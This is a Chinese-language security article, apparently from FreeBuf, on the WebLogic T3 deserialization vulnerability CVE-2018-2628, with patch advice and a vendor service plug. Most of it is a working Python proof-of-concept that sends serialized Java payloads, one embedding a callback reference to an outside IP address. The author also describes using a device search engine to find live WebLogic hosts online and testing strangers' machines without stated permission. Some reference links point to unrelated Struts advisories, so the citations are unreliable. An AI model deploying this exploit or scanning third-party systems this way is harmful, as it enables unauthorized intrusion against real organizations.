Weblogic反序列化远程代码执行漏洞检查复现

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

Oracle官方在2018年4月18日发布了4月关键补丁更新,其中包含了Oracle WebLogic Server的一个高危漏洞(CVE-2018-2628)。

由于此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响,结合曾经爆出的Weblogic WLS 组件漏洞( CVE-2017-10271 ),不排除会有攻击者利用挖矿的可能,因此,建议尽快部署防护措施。

CVE-2018-2628

攻击者可以在未授权的情况下,通过T3协议在WebLogic Server中执行反序列化操作,最终造成远程代码执行漏洞。
Oracle官方将该漏洞等级定义为“高危”

漏洞属性

【漏洞评级】高危

【CVE编号】

CVE-2018-2628

【影响范围】

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

漏洞代码和过程

#!env python    

#coding=utf-8

#

# Author:       liaoxinxi@nsfocus.com

#

# Created Time: Wed 19 Jul 2017 01:47:53 AM CST

#

# FileName:     weblogic_poc.py

#

# Description: 

#

# ChangeLog:

# -*- coding: utf-8 -*-

import socket

import time

import re

 

 

VUL=['CVE-2018-2628']

PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']

VER_SIG=['\\$Proxy[0-9]+']

 

def t3handshake(sock,server_addr):

    sock.connect(server_addr)

    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))

    time.sleep(1)

    sock.recv(1024)

    print 'handshake successful'

 

def buildT3RequestObject(sock,port):

    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'

    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))

    data3 = '1a7727000d3234322e323134'

    data4 = '2e312e32353461863d1d0000000078'

    for d in [data1,data2,data3,data4]:

        sock.send(d.decode('hex'))

    time.sleep(2)

    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))

 

 

def sendEvilObjData(sock,data):

    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'

    payload+=data

    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)

    sock.send(payload.decode('hex'))

    time.sleep(2)

    sock.send(payload.decode('hex'))

    res = ''

    try:

        while True:

            res += sock.recv(4096)

            time.sleep(0.1)

    except Exception as e:

        pass

    return res

 

def checkVul(res,server_addr,index):

    p=re.findall(VER_SIG[index], res, re.S)

    if len(p)>0:

        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])

    else:

        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])

 

 

def run(dip,dport,index):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整

    sock.settimeout(65)

    server_addr = (dip, dport)

    t3handshake(sock,server_addr)

    buildT3RequestObject(sock,dport)

    rs=sendEvilObjData(sock,PAYLOAD[index])

    print 'rs',rs

    checkVul(rs,server_addr,index)

 

 

if __name__=="__main__":

    ## dip填写被检测ip,dport填写被检测端口号

    dip = '127.0.0.1'

    dport = 7001

    run(dip,dport,0)

#    for i in range(0,len(VUL)):

#        run(dip,dport,i)


在网络上寻找weblogic服务组件的网络设备,方法有很多,笔者使用的是钟馗之眼。使用命令:app:”weblogic”,查到有很多的这种设备。

我们找网上找一些设备进行验证,发现直到现在还是有很多存在漏洞的设备。

检测过程:

最后检测出某网络设备的漏洞:

检测及修复

Oracle官方已经已经更新修复了该漏洞,给出相应补丁。强烈建议受影响的用户尽快升级更新进行防护。

注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html

已开通网藤风险感知CRS公有云账户的用户可直接使用「流行漏洞检测」功能进行检测,尚未开通网藤风险感知的用户,可点击「这里」,申请免费试用。


参考

https://cwiki.apache.org/confluence/display/WW/S2-054

http://struts.apache.org/plugins/rest/#use-jackson-framework-as-json-contenttypehandler

http://toutiao.secjia.com/apache-s2-054-cve-2017-15707

http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

http://mp.weixin.qq.com/s/ots0ZImoN5kHCvp9BWfN6w

*本文作者:tdcoming,转载请注明来自FreeBuf.COM

相关推荐

留言与评论(共有 0 条评论)
   
验证码: